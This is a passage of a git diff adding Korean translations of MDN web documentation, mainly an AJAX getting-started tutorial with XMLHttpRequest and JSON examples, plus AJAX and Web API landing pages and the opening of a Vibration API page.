+<div class="warning"><strong>중요</strong>: 해당 문서는 2018/07/31 (원문 : 2018/04/23) 에 마지막으로 번역되었습니다. 원문의 변경이 잦아 내용이 다를 수 있으니 참고하십시오.</div>
+
+<p><span class="seoSummary">본 문서는 AJAX의 기본을 익힐수 있도록 해주며, 두 가지 간단한 훈련용 예제를 제공합니다.</span></p>
+
+<h3 id="AJAX.EB.9E.80.3F" name="AJAX.EB.9E.80.3F">AJAX란?</h3>
+
+<p>AJAX란 비동기 자바스크립트와 XML (<strong>A</strong>synchronous <strong>J</strong>avaScript <strong>A</strong>nd <strong>X</strong>ML)을 말합니다. 간단히 말하면, 서버와 통신하기 위해 <code><a href="/ko/docs/XMLHttpRequest">XMLHttpRequest</a></code> 객체를 사용하는 것을 말합니다. JSON, XML, HTML 그리고 일반 텍스트 형식 등을 포함한 다양한 포맷을 주고 받을 수 있습니다. AJAX의 강력한 특징은 페이지 전체를 리프레쉬 하지 않고서도 수행 되는 "비동기성"입니다. 이러한 비동기성을 통해 사용자의 Event가 있으면 전체 페이지가 아닌 일부분만을 업데이트 할 수 있게 해줍니다.</p>
+
+<p>AJAX의 주요 두가지 특징은 아래의 작업을 할 수 있게 해줍니다.</p>
+
+<ul>
+ <li>페이지 새로고침 없이 서버에 요청</li>
+ <li>서버로부터 데이터를 받고 작업을 수행</li>
+</ul>
+
+<h3 id="1.EB.8B.A8.EA.B3.84_.E2.80.93_say_.22Please.21.22_or_How_to_Make_an_HTTP_Request" name="1.EB.8B.A8.EA.B3.84_.E2.80.93_say_.22Please.21.22_or_How_to_Make_an_HTTP_Request">1단계 – HTTP request 만드는 방법</h3>
+
+<p>JavaScript를 이용하여 서버로 보내는 <a href="/ko/docs/Web/HTTP">HTTP</a> request를 만들기 위해서는 그에 맞는 기능을 제공하는 Object의 인스턴스가 필요합니다. <code>XMLHttpRequest</code> 가 그러한 Object의 한 예입니다. 이러한 로직은 Internet Explorer의 <code>XMLHTTP</code> 라고 불리는 ActiveX 객체로 부터 시작되었습니다. 이후, Mozilla, Safari 등 기타 브라우저들이 Microsoft사의 ActiveX 객체의 매서드와 프로퍼티를 지원하는 <code>XMLHttpRequest</code> 객체를 적용합니다. 그러는 동안, Microsoft도 XMLHttpRequest를 적용합니다.</p>
+
+<pre class="brush: js">// 구버전을 위한 호환성 코드입니다. 더 이상 이렇게 작성하지 않아도 됩니다.
+var httpRequest;
+if (window.XMLHttpRequest) { // 모질라, 사파리, IE7+ ...
+ httpRequest = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE 6 이하
+ httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<div class="note">주의: 위의 코드는 XMLHttp 인스턴스를 만드는데 사용된 간단한 버전의 코드입니다. 좀 더 현실적인 사용 예를 보려면 이 글의 3단계를 보십시오.</div>
+
+<p>서버에 요청(Request)을 하기에 앞서, 서버로 보낸 요청에 대한 응답을 받았을 때 어떤 동작을 할 것인지 정해야합니다. 위에서 생성한 httpRequest 의 <code>onreadystatechange</code> property에 특정 함수(<code>nameOfTheFunction</code>)를 할당하면 요청에 대한 상태가 변화할 때 특정 함수(<code>nameOfTheFunction</code>)가 불리게 됩니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = nameOfTheFunction;
+</pre>
+
+<p>주목할 사항으로는 위에서는 해당 함수를 수행하는 것이 아니라 단순하게 어떤 함수가 불릴 것인지만 지정한다는 점입니다. 단순하게 그 함수를 지정하는 것이므로 그 함수로 어떠한 변수도 전달하지 않습니다. 또한 단순하게 함수를 연결하면 되기 때문에 아래와 같이 JavaScript에서 사용되는 "임의 함수(anonymous functions)"방법으로 직접적인 함수 본체를 기입해도 됩니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = function(){
+ // 서버의 응답에 따른 로직을 여기에 작성합니다.
+};
+</pre>
+
+<p>위와 같이 서버로 부터 응답을 받은 후의 동작을 결정 한 뒤에, 요청을 합니다. 아래와 같이 HTTP request 객체의 <code>open()</code>과 <code>send()</code>를 사용하면 요청을 할 수 있습니다.</p>
+
+<pre class="brush: js">httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send(null);
+</pre>
+
+<p><code>open()</code> 메소드의 파라미터</p>
+
+<ul>
+ <li>첫번째 파라미터는 HTTP 요구 방식(request method) ─ GET, POST, HEAD 중의 하나이거나 당신의 서버에서 지원하는 다른 방식 ─ 입니다. 이 파라미터는 HTTP 표준에 따라 모두 대문자로 표기해야합니다. 그렇지 않으면 (파이어폭스와 같은) 특정 브라우저는 이 요구를 처리하지 않을 수도 있습니다. HTTP 요구 방식의 보다 자세한 정보는 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">W3C 명세</a>를 참고하기 바랍니다.</li>
+ <li>두번째 파라미터는 요구하고자하는 URL 입니다. 보안상의 이유로 서드 파티 도메인 상의 URL은 기본적으로 호출할 수 없습니다. 요구하는 모든 페이지에 정확한 도메인 네임을 사용하십시오. 그렇지 않으면 <code>open()</code> 메소드를 호출할 때 'permission denied' 에러가 발생할 수 있습니다. 일반적인 오류는 당신의 사이트에 <code>domain.tld</code> 와 같은 형태로 접근하는 것 입니다. 이러한 경우 <code>www.domain.tld</code> 와 같은 형태로 페이지를 요구하기 바랍니다. 만약 다른 도메인으로 요청을 보내고 싶다면 <a href="/ko/docs/Web/HTTP/Access_control_CORS">HTTP 접근 제어 (CORS)</a> 를 참고하기 바랍니다.</li>
+ <li>세번째 파라미터(생략 가능)는 요구가 비동기식(Asynchronous)으로 수행될 지를 결정합니다. 만약 이 파라미터가 <code>true</code>(기본값) 으로 설정된 경우에는 자바스크립트 함수가 지속적으로 수행될 수 있어 서버로부터 응답을 받기 전에도 유저와 페이지의 상호작용이 계속 진행됩니다. 이것이 AJAX 의 첫번째 A (Asynchronous : 비동기성) 입니다.
+ <ul>
+ <li><code>false</code>로 설정된 경우 동기적으로 작동합니다. (<code>send()</code> 함수에서 서버로부터 응답이 올 때까지 기다림)<sup>역자 덧붙임</sup></li>
+ </ul>
+ </li>
+</ul>
+
+<p><code>send()</code> 메소드의 파라미터는 POST 방식으로 요구한 경우 서버로 보내고 싶은 어떠한 데이터라도 가능합니다. 데이터는 서버에서 쉽게 parse할 수 있는 형식(format)이어야 합니다. 예를 들자면 아래와 같습니다.</p>
+
+<pre><code>"name=value&amp;anothername="+encodeURIComponent(myVar)+"&amp;so=on"</code></pre>
+
+<p><code>multipart/form-data</code>, JSON, XML, SOAP 등과 같은 다른 형식(format)도 가능합니다.</p>
+
+<p>만약 <code>POST</code> 형식으로 데이터를 보내려 한다면, 요청(request)에 MIME type을 먼저 설정 해야 합니다. 예를 들자면 <code>send()</code>를 호출 하기 전에 아래와 같은 형태로 send()로 보낼 쿼리를 이용해야 합니다.</p>
+
+<pre class="brush: js">httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<h3 id="2.EB.8B.A8.EA.B3.84_.E2.80.93_.22There_you_go.21.22_or_Handling_the_Server_Response" name="2.EB.8B.A8.EA.B3.84_.E2.80.93_.22There_you_go.21.22_or_Handling_the_Server_Response">2단계 – 서버 응답에 대한 처리</h3>
+
+<p>서버로 요청(request)을 보내기 전에, 위(1단계 - HTTP Request 만들기)에서는 서버의 응답을 처리하기 위한 자바스크립트 함수의 이름을 지정했었습니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = nameOfTheFunction;</pre>
+
+<p>이 함수는 무슨 일을 수행해야 할까요? 먼저, 해당 함수에서는 요구의 상태값을 검사할 필요가 있습니다. 만약 상태값이 <code>XMLHttpRequest.DONE</code> (상수 4로 정의되어 있습니다.) 라면, 서버로부터 모든 응답을 받았으며 이를 처리할 준비가 되었다는 것을 뜻합니다.</p>
+
+<pre class="brush: js">if (httpRequest.readyState === XMLHttpRequest.DONE) {
+ // 이상 없음, 응답 받았음
+} else {
+ // 아직 준비되지 않음
+}
+</pre>
+
+<p><code>readyState</code> 가 가질 수 있는 모든 값의 목록은 <a href="/en-US/docs/Web/API/XMLHttpRequest/readyState">XMLHTTPRequest.readyState</a>에 작성되어있으며 아래와 같습니다:</p>
+
+<ul>
+ <li>0 (uninitialized) - (<strong>request가 초기화되지 않음</strong>)</li>
+ <li>1 (loading) - (<strong>서버와의 연결이 성사됨</strong>)</li>
+ <li>2 (loaded) - (<strong>서버가 request를 받음</strong>)</li>
+ <li>3 (interactive) - (<strong>request(요청)을 처리하는 중</strong>)</li>
+ <li>4 (complete) - (<strong>request에 대한 처리가 끝났으며 응답할 준비가 완료됨</strong>)</li>
+</ul>
+
+<p>(<a class="external" href="/en-US/docs/Web/Guide/AJAX/Getting_Started#Step_2_%E2%80%93_Handling_the_server_response">원문</a> 참고)</p>
+
+<p>그 다음에는 <a href="/ko/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a>를 검사해야 합니다. 가능한 모든 코드 값의 목록은 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">W3C</a> 에서 확인할 수 있습니다. 아래 예제에서는 AJAX 요청이 정상적으로 처리되었는지 아닌지만을 검사하기 위해 응답 코드가 <a href="/ko/docs/Web/HTTP/Status#%EC%84%B1%EA%B3%B5_%EC%9D%91%EB%8B%B5">200 OK</a> 인지 검사하는 예제입니다.</p>
+
+<pre class="brush: js">if (httpRequest.status === 200) {
+ // 이상 없음!
+} else {
+ // 요구를 처리하는 과정에서 문제가 발생되었음
+ // 예를 들어 응답 상태 코드는 404 (Not Found) 이거나
+ // 혹은 500 (Internal Server Error) 이 될 수 있음
+}
+</pre>
+
+<p>이제 요구와 그에 대한 응답에 대한 상태 코드를 검사했으므로, 서버에서 받은 데이터를 통해 원하는 작업을 수행할 수 있다. 그리고 응답 데이터에 접근하기 위한 옵션이 2가지 있습니다.</p>
+
+<ul>
+ <li><code>http_request.responseText</code> – 서버의 응답을 텍스트 문자열로 반환할 것이다.</li>
+ <li><code>http_request.responseXML</code> – 서버의 응답을 <code>XMLDocument</code> 객체로 반환하며 당신은 자바스크립트의 DOM 함수들을 통해 이 객체를 다룰 수 있을 것이다.</li>
+</ul>
+
+<p>위의 단계는 비동기식 요구(asynchronous request)를 사용했을 경우에 대한 설명입니다(즉, <code>open()</code>의 세번째 변수가 생략되었거나 <code>true</code> 일 경우). 동기식(Synchronous) 방법을 사용한다면 함수(<code>nameOfTheFunction</code>)를 명시할 필요 없이 <code>send()</code> 호출에 의해 반환되는 data를 바로 사용 할 수 있습니다. 그러나 이는 스크립트가 <code>send()</code>를 호출할 때 멈춰지며 서버의 응답이 완료 될 때까지 기다리기 때문에 나쁜 UX를 제공하게 합니다.</p>
+
+<h3 id="3.EB.8B.A8.EA.B3.84_.E2.80.93_.22All_together_now.21.22_-_A_Simple_Example" name="3.EB.8B.A8.EA.B3.84_.E2.80.93_.22All_together_now.21.22_-_A_Simple_Example">3단계 – 간단한 예제</h3>
+
+<p>이제 이들을 한데 모아서 간단한 HTTP Request를 수행해보겠습니다. 우리가 작성할 자바스크립트는 "I'm a test." 라는 문장이 적힌 <code>test.html</code> 이라는 HTML 문서를 요청해서 문서의 내용을 파라미터로 <code>alert()</code> 함수를 호출할 것입니다. 이 예제는 vanilla Javascript(순수 자바스크립트 - jQuery도 포함되어 있지 않습니다.)로 작성되었습니다. 또한 HTML, XML, PHP 파일들은 같은 경로에 위치되어 있어야 합니다.</p>
+
+<pre class="brush: html">&lt;button id="ajaxButton" type="button"&gt;Make a request&lt;/button&gt;
+
+&lt;script&gt;
+(function() {
+  var httpRequest;
+  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
+
+  function makeRequest() {
+    httpRequest = new XMLHttpRequest();
+
+  if(!httpRequest) {
+  alert('XMLHTTP 인스턴스를 만들 수가 없어요 ㅠㅠ');
+  return false;
+  }
+  httpRequest.onreadystatechange = alertContents;
+  httpRequest.open('GET', 'test.html');
+  httpRequest.send();
+  }
+
+  function alertContents() {
+ if (httpRequest.readyState === XMLHttpRequest.DONE) {
+  if (httpRequest.status === 200) {
+  alert(httpRequest.responseText);
+  } else {
+  alert('request에 뭔가 문제가 있어요.');
+  }
+  }
+  }
+})();
+&lt;/script&gt;
+</pre>
+
+<p><br>
+ 이 예제에서:</p>
+
+<ul>
+ <li>사용자는 브라우저 상의 "Make a request" 라는 버튼을 클릭합니다;</li>
+ <li>버튼의 클릭 이벤트 핸들러는 <code>makeRequest()</code> 함수를 호출합니다;</li>
+ <li>브라우저는 서버로 요구를 보내고 <code>onreadystatechange</code> 에 설정된 <code>alertContents()</code> 함수가 수행됩니다;</li>
+ <li><code>alertContents()</code> 함수는 서버로부터 응답을 받았는지와 정상적으로 처리된 응답인지를 검사하여 정상적인 경우 <code>test.html</code> 파일의 내용을 파라미터로 <code>alert()</code> 함수를 호출합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>주의</strong>: Internet Explorer에서 정적 HTML 파일이 아닌 XML 파일을 받기 위한 request를 보내려면 응답 헤더를 반드시 설정해주어야 합니다. 헤더에 <code>Content-Type: application/xml</code>을 설정해주지 않으면 IE는 XML 요소에 접근하고자 할 때 "Object Expected" 예외에러를 발생시킵니다.</p>
+</div>
+
+<div class="note">
+<p><strong>주의 2</strong>: 헤더에 <code>Cache-Control: no-cache</code> 를 설정 하지 않는다면, 브라우저는 응답을 캐싱하고 다시 요청하지 않을 수 있습니다. 이는 디버깅하기 매우 어려워 질 수 있음을 기억하십시오. 또는 GET 파라미터로 timestamp(시간정보)나 난수를 추가하면 캐싱을 방지할 수 있습니다. (<a href="/ko/docs/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache" title="https://developer.mozilla.org/En/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache">캐싱 우회</a>를 참고하세요)</p>
+</div>
+
+<div class="note">
+<p><strong>주의 3</strong>: 만약 <code>httpRequest</code> 변수가 전역적으로 사용되면, <code>makeRequest()</code> 함수를 호출하는 여러 함수들 사이에서 경쟁 상태(race condition)가 발생할 수 있으며, 이 경우 다른 데이터를 덮어쓰게 됩니다. <code>XMLHttpRequest</code> 인스턴스는 함수 내의 지역 변수로 선언하는 것을 권장합니다.</p>
+</div>
+
+<p>통신 에러 (서버가 다운되는 상황 등) 상황에서, status 필드를 접근하려 하면 <code>onreadystatechange</code> 메서드에서 예외에러를 발생 시킬 것입니다. 이러한 문제를 예방하기 위해서 <code>if...then</code> 구문을 <code>try…catch</code> 구문으로 감싸주세요.</p>
+
+<pre class="brush: js">function alertContents() {
+  try {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('There was a problem with the request.');
+      }
+    }
+  }
+  catch( e ) {
+    alert('Caught Exception: ' + e.description);
+  }
+}
+</pre>
+
+<h3 id="4.EB.8B.A8.EA.B3.84_.E2.80.93_.22The_X-Files.22_or_Working_with_the_XML_Response" name="4.EB.8B.A8.EA.B3.84_.E2.80.93_.22The_X-Files.22_or_Working_with_the_XML_Response">4단계 – 추가 예제 1 (XML response)</h3>
+
+<p>앞의 예제에서 HTTP 요구(request)에 대한 응답을 받은후에 리퀘스트 오브젝트(request object) 중 <code>reponseText</code> 프로퍼티를 사용했고, <code>reponseText</code>는 <code>test.html</code>파일의 내용을 가지고 있었습니다. 이제 <code>responseXML</code>을 사용해 봅시다.</p>
+
+<p>첫째로, 나중에 요구하게 될 XML 문서를 만들어 봅시다. 이 문서(<code>test.xml</code>)은 아래와 같은 내용을 담고 있습니다:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+ I'm a test.
+&lt;/root&gt;
+</pre>
+
+<p>3단계 예제의 스크립트의 내용도 바꿔줍니다.</p>
+
+<p>파일의 확장자를 <code>.html</code>에서 <code>.xml</code>로 변경합니다:</p>
+
+<pre>...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>그 다음, <code>alertContents()</code>함수에서 <code>alert()</code>함수를 실행하는 라인 <code>alert(httpRequest.responseText);</code>을 아래와 같이 바꿉니다:</p>
+
+<pre class="brush: js">var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>이 방법은 <code>responseXML</code>에 의한 <code>XMLDocument</code> 객체를 가져오고 XML 문서에 포함된 데이터를 가져오기 위해 DOM 메서드들을 사용했습니다. <code>test.xml</code>는 <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">여기</a>에서 볼 수 있으며 위와 같이 수정한 업데이트된 테스트용 스크립트는 <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">여기</a>에서 볼 수 있습니다. (해당 테스트 문서는 구버전이기 때문에 button이 아닌 클릭가능한 밑줄 문장으로 구성되어 있습니다.<sup>역자 덧붙임</sup>)</p>
+
+<h3 id="Step_5_–_추가_예제_2_(data)">Step 5 – 추가 예제 2 (data)</h3>
+
+<p>마지막으로, 서버에 HttpRequest를 전송할 때 data를 포함해보고 응답을 받아봅시다. 이번에는 동적인 페이지를 요청(Request)할 것입니다. 서버의 <code>test.php</code> 코드는 전송받은 data를 이용하여 "계산된" 문자열인 "Hello, [user data]!"를 반환해줄 것입니다. 그리고 <code>alert()</code> 으로 확인해봅시다.</p>
+
+<p>먼저 유저가 편집할 수 있는 HTML 구성요소인 텍스트박스를 추가합니다:</p>
+
+<pre class="brush: html">&lt;label&gt;당신의 이름을 입력해주세요 :
+  &lt;input type="text" id="ajaxTextbox" /&gt;
+&lt;/label&gt;
+&lt;span id="ajaxButton" style="cursor: pointer; text-decoration: underline"&gt;
+  Make a request
+&lt;/span&gt;</pre>
+
+<p>텍스트박스에 입력된 유저의 데이터를 얻기 위해 클릭 이벤트 핸들러에도 몇 줄 추가해줍니다. 유저의 데이터와 서버 측에서 실행시킬 스크립트의 URL을 담아 <code>makeRequest()</code> 함수를 호출합니다.</p>
+
+<pre class="brush: js">  document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php',userName);
+  };</pre>
+
+<p>유저 데이터를 받아 서버로 전송시키려면 makeRequest() 함수를 수정해야 합니다. HTTP 요구 방식을 <code>GET</code> 에서 <code>POST</code> 로 변경하고, 유저 데이터를 <code>httpRequest.send()</code> 의 인자로 넣어줍니다:</p>
+
+<pre class="brush: js"> function makeRequest(url, userName) {
+
+ ...
+
+ httpRequest.onreadystatechange = alertContents;
+ httpRequest.open('POST', url);
+ httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+ httpRequest.send('userName=' + encodeURIComponent(userName));
+ }
+</pre>
+
+<p><code>alertContents()</code> 함수는 <strong>3단계</strong>와 같이 작성한다면 서버가 반환한 모든 값을 출력하므로 내버려두어도 상관없습니다. 그러나 만약 서버가 "계산된 문자열"과 "유저 데이터" 두 항목을 반환한다고 가정하면 서버의 응답 데이터는 다음과 같을 것입니다(유저가 "우희"라고 작성한다면):</p>
+
+<p><code>{"userData":"우희","computedString":"안녕, 우희!"}</code></p>
+
+<p>이 응답 데이터를 <code>alertContents()</code> 에서 사용하려면, <code>responseText</code> 프로퍼티의 값만을 사용한 출력물은 좋은 출력물이라고 할 수 없습니다. (위 문장이 그대로 alert 됩니다.)</p>
+
+<p>우리는 <code>computedString</code>만을 출력시키기 위해 파싱(parsing : 구문 분석)을 해야만 합니다 (위와 같은 포맷을 JSON 포맷이라고 합니다. 아래의 코드에서는 JSON 내장 객체를 이용하여 파싱합니다.<sup>역자 덧붙임</sup>):</p>
+
+<pre class="brush: js">function alertContents() {
+ if (httpRequest.readyState === XMLHttpRequest.DONE) {
+ if (httpRequest.status === 200) {
+ var response = JSON.parse(httpRequest.responseText);
+ alert(response.computedString);
+ } else {
+ alert('request에 뭔가 문제가 있어요.');
+ }
+ }
+}</pre>
+
+<p><code>test.php</code> 파일은 아래와 같아야 합니다:</p>
+
+<pre class="brush: php"><code>$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'no name';
+$computedString = "안녕, " . $name . "!";
+$array = ['userName' =&gt; $name, 'computedString' =&gt; $computedString];
+echo json_encode($array);</code></pre>
+
+<p>DOM methods에 대한 더 자세한 사항은 <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla's DOM implementation</a> 문서를 확인하십시오.</p>
diff --git a/files/ko/web/guide/ajax/index.html b/files/ko/web/guide/ajax/index.html
new file mode 100644
index 0000000000..e94f129272
--- /dev/null
+++ b/files/ko/web/guide/ajax/index.html
@@ -0,0 +1,71 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+tags:
+ - AJAX
+ - DOM
+ - JavaScript
+ - References
+translation_of: Web/Guide/AJAX
+---
+<div class="callout-box"><strong><a href="/ko/AJAX/Getting_Started">시작하기</a></strong><br>
+AJAX를 소개합니다.</div>
+
+<p><span class="seoSummary"><strong>Asynchronous JavaScript + XML(AJAX)</strong>은 그 자체가 특정 기술은 아닙니다. 2005년 Jesse James Garrett이 처음 만들어낸 말로, <a href="/ko/docs/Web/HTML">HTML</a> 또는 <a href="/ko/docs/Glossary/XHTML">XHTML</a>, <a href="/ko/docs/Web/CSS">CSS</a>, <a href="/ko/docs/Web/JavaScript">JavaScript</a>, <a href="/ko/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/ko/docs/Web/XML">XML</a>, <a href="/ko/docs/Web/XSLT">XSLT</a>, 그리고 제일 중요한 <a href="/ko/docs/Web/API/XMLHttpRequest">XMLHttpRequest 객체</a>를 비롯해 기존의 여러 기술을 사용하는 "새로운" 접근법을 설명하는 용어입니다.</span><br>
+ 이렇게 다양한 기술을 AJAX 모델로서 결합했을 때, 웹 어플리케이션은 전체 페이지를 새로 고칠 필요 없이 사용자 인터페이스에 빠르고 점진적인 업데이트를 적용할 수 있습니다. 덕분에 어플리케이션은 보다 빨라지고, 사용자 행동에 대한 반응성도 좋아집니다.</p>
+
+<p>AJAX의 X가 XML을 의미하긴 하지만, 요즘은 더 가벼운 용량과 JavaScript의 일부라는 장점 때문에 {{glossary("JSON")}}을 더 많이 사용합니다. JSON과 XML 양쪽 모두 AJAX 모델에서 정보를 담을 때 사용합니다.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="문서">문서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/AJAX/Getting_Started">시작하기</a></dt>
+ <dd><small>AJAX 기초를 다룬 후에 간단한 연습 예제 두 개를 제공합니다.</small></dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest API 사용하기</a></dt>
+ <dd>{{domxref("XMLHttpRequest")}} API는 Ajax의 핵심입니다. 이 글은 몇 가지 AJAX 기술을 사용하는 법을 설명합니다.
+ <ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">analyzing and manipulating the response of the server</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">monitoring the progress of a request</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">submitting forms and upload binary files</a> – in <em>pure</em> Ajax, or using {{domxref("FormData")}} objects</li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">creating synchronous or asynchronous requests</a></li>
+ <li>using Ajax within <a href="/en-US/docs/Web/API/Worker">Web workers</a></li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></dt>
+ <dd>The Fetch API provides an interface for fetching resources. It will seem familiar to anyone who has used {{domxref("XMLHTTPRequest")}}, but this API provides a more powerful and flexible feature set.</dd>
+ <dt><a href="/ko/docs/Web/API/Server-sent_events">서버발 이벤트</a></dt>
+ <dd>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/Web/API/Event">Events</a> + data</em> inside the web page. See also: <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data">이진 데이터 주고받기</a></dt>
+ <dd>The <code>responseType</code> property of the <code>XMLHttpRequest</code> object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>arraybuffer</code>, <code>blob</code>, <code>document</code>, <code>json</code>, and <code>text</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd>
+ <dt><a href="/ko/docs/Web/XML">XML</a></dt>
+ <dd>The <strong>Extensible Markup Language (XML)</strong> is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.</dd>
+ <dt><a href="/en-US/docs/Parsing_and_serializing_XML">XML 분석 및 직렬화</a></dt>
+ <dd>How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.</dd>
+ <dt><a href="/en-US/docs/XPath">XPath</a></dt>
+ <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd>
+ <dt>{{domxref("FileReader")}} API</dt>
+ <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{domxref("File")}} or {{domxref("Blob")}} objects to specify the file or data to read. File objects may be obtained from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{domxref("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}.</dd>
+ <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest">XMLHttpRequest의 HTML</a></dt>
+ <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to {{domxref("XMLHttpRequest")}}, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/AJAX">View All...</a></span></p>
+
+<h2 class="Other" id="같이_보기">같이 보기</h2>
+
+<dl>
+ <dt><a href="https://pdfs.semanticscholar.org/c440/ae765ff19ddd3deda24a92ac39cef9570f1e.pdf">Ajax: A New Approach to Web Applications</a></dt>
+ <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd>
+ <dt><a href="https://xhr.spec.whatwg.org/">XMLHttpRequest 명세</a></dt>
+ <dd>WHATWG Living Standard</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="관련_주제">관련 주제</h2>
+
+<p><a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/XML">XML</a>, <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/Web/XSLT">XSLT</a>, <a href="/en-US/docs/Glossary/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p>
+</div>
+</div>
diff --git a/files/ko/web/guide/api/index.html b/files/ko/web/guide/api/index.html
new file mode 100644
index 0000000000..e9ca5304d4
--- /dev/null
+++ b/files/ko/web/guide/api/index.html
@@ -0,0 +1,24 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+ - API
+ - Guide
+ - Landing
+ - Web
+translation_of: Web/Guide/API
+---
+<p>The web includes a wide array of APIs that can be used from JavaScript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as <a href="https://nodejs.org/">Node.js</a>, on a server. On this page you'll find a complete list of all of the APIs provided by the full web technology stack.</p>
+
+<h2 id="Web_API의_모든_것">Web API의 모든 것</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li>
+</ul>
diff --git a/files/ko/web/guide/api/vibration/vibration/index.html b/files/ko/web/guide/api/vibration/vibration/index.html
new file mode 100644
index 0000000000..16271ff248
--- /dev/null
+++ b/files/ko/web/guide/api/vibration/vibration/index.html
@@ -0,0 +1,100 @@
+---
+title: Vibration API
+slug: Web/Guide/API/Vibration/Vibration
+translation_of: Web/API/Vibration_API
+---
+<div>{{DefaultAPISidebar("Vibration API")}}</div>
+
+<p>요즘 나오는 대부분은 모바일 디바이스는 바이브레이션 하드웨어를 포함하고 있다. 소프트웨어 코드를 이용해 바이브레이션 하드웨어를 제어하면, 모바일 디바이스를 흔들리게 만들어 사용자에게 물리적인 피드백을 제공할 수 있다.</p>
+
